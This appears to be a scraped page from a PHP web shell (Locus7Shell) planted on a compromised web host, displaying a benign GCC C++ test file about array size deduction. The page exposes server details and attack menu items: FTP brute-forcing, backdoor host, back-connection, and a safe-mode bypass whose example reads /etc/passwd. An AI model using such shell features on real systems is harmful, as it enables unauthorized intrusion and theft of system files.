Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp2a/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     new-array1.C (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/93529
// P1009: Array size deduction in new-expressions
// { dg-do run { target c++11 } }

// When the array bound is deduced to 0, malloc(0) returns
// a non-dereferenceable pointer.
int *p0 = new int[]{};
int *p1 = new int[]{ 1 };
int *p2 = new int[]{ 1, 2, 3 };
char *c1 = new char[]{"foo"};
#if __cpp_aggregate_paren_init
int *q0 = new int[]();
int *q1 = new int[](1);
int *q2 = new int[](1, 2, 3);
char *d1 = new char[]("foo");
char *d2 = new char[4]("foo");
char *d3 = new char[]((("foo")));
#endif

struct Aggr { int a; int b; int c; };
Aggr *a1 = new Aggr[]{};
Aggr *a2 = new Aggr[]{ 1, 2, 3 };
Aggr *a3 = new Aggr[]{ 1, 2, 3, 4 };
Aggr *a4 = new Aggr[]{ { 1, 2, 3 } };
Aggr *a5 = new Aggr[]{ { 1 }, { 6, 7 } };
#if __cpp_designated_initializers
Aggr *a9 = new Aggr[]{ { .a = 1, .b = 2, .c = 3 } };
#endif
#if __cpp_aggregate_paren_init
Aggr *a6 = new Aggr[]();
Aggr *a7 = new Aggr[]({ 1, 2, 3 });
Aggr *a8 = new Aggr[]({ 1 }, { 6, 7 });
#endif

int
main ()
{
  if (p1[0] != 1 || p2[0] != 1 || p2[1] != 2 || p2[2] != 3)
    __builtin_abort ();
  if (__builtin_strcmp (c1, "foo"))
    __builtin_abort ();
  if (a2->a != 1 || a2->b != 2 || a2->c != 3)
    __builtin_abort ();
  if (a3[0].a != 1 || a3[0].b != 2 || a3[0].c != 3
      || a3[1].a != 4 || a3[1].b != 0 || a3[1].c != 0)
    __builtin_abort ();
  if (a4->a != 1 || a4->b != 2 || a4->c != 3)
    __builtin_abort ();
  if (a5[0].a != 1 || a5[0].b != 0 || a5[0].c != 0
      || a5[1].a != 6 || a5[1].b != 7 || a5[1].c != 0)
    __builtin_abort ();
#if __cpp_designated_initializers
  if (a9->a != 1 || a9->b != 2 || a9->c != 3)
    __builtin_abort ();
#endif
#if __cpp_aggregate_paren_init
  if (q1[0] != 1)
    __builtin_abort ();
  if (q2[0] != 1 || q2[1] != 2 || q2[2] != 3)
    __builtin_abort ();
  if (__builtin_strcmp (d1, "foo") || __builtin_strcmp (d2, "foo")
      || __builtin_strcmp (d3, "foo"))
    __builtin_abort ();
  if (a7[0].a != 1 || a7[0].b != 2 || a7[0].c != 3)
    __builtin_abort ();
  if (a8[0].a != 1 || a8[0].b != 0 || a8[0].c != 0
      || a8[1].a != 6 || a8[1].b != 7 || a8[1].c != 0)
    __builtin_abort ();
#endif
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--